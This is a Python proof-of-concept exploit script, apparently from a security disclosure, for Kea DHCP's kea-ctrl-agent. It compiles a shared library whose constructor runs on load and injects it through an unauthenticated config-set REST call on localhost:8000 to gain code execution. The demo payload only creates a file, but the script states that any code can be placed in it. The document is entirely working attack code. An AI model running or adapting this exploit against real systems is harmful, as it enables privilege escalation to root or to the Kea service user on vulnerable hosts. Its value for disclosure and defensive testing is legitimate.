#!/usr/bin/python3 # Author: Matthias Gerstner # Date: 2025-03-28 # # Kea DHCP arbitrary code execution exploit via REST API. # # This script demonstrates how to achieve arbitrary code execution when # `kea-ctrl-agent` is running and does not require authenticaton for its REST # API interface running on localhost:8000. # # When Kea services are running as non-root then the exploit can still be used # to gain full control over the kea service user. # # For demonstration purposes the hook library injected into `kea-ctrl-agent` # simply creates a new file on disk. Any code can be placed into the # `LIB_CODE` variable below, however. # # pre-requisites to run the exploit: # # - GCC compiler needs to be installed # - kea-ctrl-agent needs to be running # - curl needs to be installed # # If `kea-ctrl-agent` runs as root then it should be possible to create a file # in /etc, for example: # # kea-hook-lib-exploit.py /etc/evil-file.txt # # If `kea-ctrl-agent` runs as a dedicated service user then it should be # possible to create a file in kea's state directory: # # kea-hook-lib-exploit.py /var/lib/kea/evil-file.txt # # Note that on Debian and Ubuntu Linux AppArmor policies are in place that # prevent this exploit from succeeding. import argparse import os import subprocess import tempfile parser = argparse.ArgumentParser() parser.add_argument("PATH", type=str, help="Where to create a test file during code execution. Note that if the path is within a non-accessible directory (e.g. in /root) that the exploit-success detection cannot work.") args = parser.parse_args() # NOTE: curly braces need escaping here LIB_CODE = f""" #include #include #include void __attribute__ ((constructor)) evil_init(void) {{ int fd = open("{args.PATH}", O_CREAT|O_RDWR, 0655); write(fd, "evil", 4); close(fd); }} """ def run(command): print(" ".join(command)) subprocess.check_call(command) print() with tempfile.TemporaryDirectory() as tmpdir: # allow kea-ctrl-agent to access our library in case it's running as non-root os.chmod(tmpdir, 0o755) lib_source = f"{tmpdir}/libevil.c" with open(lib_source, "w") as fd: fd.write(LIB_CODE) shared_obj = f"{tmpdir}/libevil.so" run(f"gcc {lib_source} -shared -fPIC -o{shared_obj}".split()) curl_cmdline = "curl -X POST -H".split() curl_cmdline.append("Content-Type: application/json") curl_cmdline.append("-d") # NOTE: the format string needs escaping of curly braces kea_json = f"""{{ "command": "config-set", "arguments": {{ "Control-agent": {{ "hooks-libraries": [{{"library": "{shared_obj}"}}] }} }} }}""" curl_cmdline.append(kea_json) curl_cmdline.append("localhost:8000") run(curl_cmdline) print() if os.path.exists(args.PATH): print(f"Exploit succeeded, {args.PATH} has been created") else: print("Exploit did not succeed")